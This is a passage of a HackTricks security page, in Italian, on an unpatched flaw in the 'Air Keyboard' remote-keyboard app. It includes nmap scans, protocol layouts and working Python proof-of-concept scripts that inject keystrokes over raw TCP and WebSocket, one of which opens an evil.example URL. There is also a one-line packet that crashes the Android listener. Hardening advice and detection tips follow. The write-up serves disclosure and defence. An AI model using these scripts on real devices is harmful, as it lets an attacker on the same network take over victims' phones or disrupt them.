Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

TL;DR

La versione iOS dell'applicazione commerciale “Air Keyboard” (App Store ID 6463187929) espone un servizio di rete locale che accetta frame di tasti senza alcuna autenticazione o verifica dell'origine. A seconda della versione installata, il servizio è:

  • ≤ 1.0.4 – listener TCP raw su porta 8888 che si aspetta un'intestazione di lunghezza di 2 byte seguita da un device-id e dal payload ASCII.
  • ≥ 1.0.5 (Giugno 2025) – listener WebSocket sulla stessa porta (8888) che analizza chiavi JSON come {"type":1,"text":"…"}.

Qualsiasi dispositivo sulla stessa rete Wi-Fi / subnet può quindi iniettare input da tastiera arbitrario nel telefono della vittima, ottenendo un completo dirottamento dell'interazione remota. Una build Android companion ascolta sulla porta 55535. Esegue un debole handshake AES-ECB, ma dati malformati causano comunque un'eccezione non gestita all'interno di OpenSSL, causando il crash del servizio in background (DoS).

La vulnerabilità è ancora non corretta al momento della scrittura (Luglio 2025) e l'applicazione rimane disponibile nell'App Store.


1. Service Discovery

Scansiona la rete locale e cerca le due porte fisse utilizzate dalle app:

bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24

Su dispositivi Android puoi identificare localmente il pacchetto responsabile:

bash
adb shell netstat -tulpn | grep 55535      # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline                 # map PID → package name

Su iOS jailbroken puoi fare qualcosa di simile con lsof -i -nP | grep LISTEN | grep 8888.


2. Dettagli del Protocollo (iOS)

2.1 Legacy (≤ 1.0.4) – frame binari personalizzati

[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]

La lunghezza dichiarata include il byte device_id ma non l'intestazione di due byte stessa.

2.2 Corrente (≥ 1.0.5) – JSON su WebSocket

La versione 1.0.5 è stata silenziosamente migrata a WebSocket mantenendo invariato il numero di porta. Un colpo di tasti minimo appare come:

json
{
"type": 1,              // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}

Nessuna handshake, token o firma è richiesta – il primo oggetto JSON attiva già l'evento UI.


3. Sfruttamento PoC

3.1 Targeting ≤ 1.0.4 (raw TCP)

python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys

target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n"    # payload visible to the user

frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01"                        # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)

3.2 Targeting ≥ 1.0.5 (WebSocket)

python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket  # `pip install websocket-client`

target_ip = sys.argv[1]
ws        = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")

Qualsiasi ASCII stampabile — inclusi i ritorni a capo, i tab e la maggior parte dei tasti speciali — può essere inviato, dando all'attaccante lo stesso potere dell'input fisico dell'utente: avviare app, inviare messaggi, aprire URL malevoli, attivare impostazioni, ecc.


4. Android Companion – Denial-of-Service

La porta Android (55535) si aspetta una password di 4 caratteri crittografata con una chiave AES-128-ECB hard-coded seguita da un nonce casuale. Gli errori di parsing si propagano a AES_decrypt() e non vengono catturati, terminando il thread del listener. Pertanto, un singolo pacchetto malformato è sufficiente per mantenere gli utenti legittimi disconnessi fino a quando il processo non viene rilanciato.

python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS

5. App correlate – Un anti-pattern ricorrente

Air Keyboard non è un caso isolato. Altri strumenti mobili “tastiera/mouse remoto” sono stati rilasciati con lo stesso difetto:

  • Telepad ≤ 1.0.7 – CVE-2022-45477/78 consentono l'esecuzione di comandi non autenticati e il key-logging in chiaro.
  • PC Keyboard ≤ 30 – CVE-2022-45479/80 RCE non autenticato e traffico di sorveglianza.
  • Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 senza password di default, brute-force di PIN deboli e perdita di dati in chiaro.

Questi casi evidenziano una trascuratezza sistemica delle superfici di attacco esposte in rete nelle app mobili.


6. Cause principali

  1. Nessun controllo di origine / integrità sui frame in arrivo (iOS).
  2. Uso improprio della crittografia (chiave statica, ECB, mancanza di validazione della lunghezza) e mancanza di gestione delle eccezioni (Android).
  3. Il diritto di rete locale concesso dall'utente ≠ sicurezza – iOS richiede il consenso in tempo reale per il traffico LAN, ma non sostituisce una corretta autenticazione.

7. Indurimento e misure difensive

Raccomandazioni per gli sviluppatori:

  • Associare il listener a 127.0.0.1 e tunnelizzare tramite mTLS o Noise XX se è necessario il controllo remoto.
  • Derivare segreti per dispositivo durante l'onboarding (ad es., codice QR o PIN di accoppiamento) e imporre autenticazione reciproca prima di elaborare l'input.
  • Adottare Apple Network Framework con NWListener + TLS invece di socket raw.
  • Implementare controlli di sanità sui prefissi di lunghezza e gestione delle eccezioni strutturate durante la decrittazione o decodifica dei frame.

Vittorie rapide per Blue-/Red-Team:

  • Network hunting: sudo nmap -n -p 8888,55535 --open 192.168.0.0/16 o filtro Wireshark tcp.port == 8888.
  • Ispezione in tempo reale: script Frida che aggancia socket()/NWConnection per elencare listener inaspettati.
  • Rapporto sulla privacy delle app iOS (Impostazioni ▸ Privacy e Sicurezza ▸ Rapporto sulla privacy delle app) evidenzia le app che contattano indirizzi LAN – utile per individuare servizi non autorizzati.
  • Mobile EDRs possono aggiungere semplici regole Yara-L per le chiavi JSON "selectionStart", "selectionEnd" all'interno dei payload TCP in chiaro sulla porta 8888.

Scheda di rilevamento (Pentester)

bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 "  " $4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks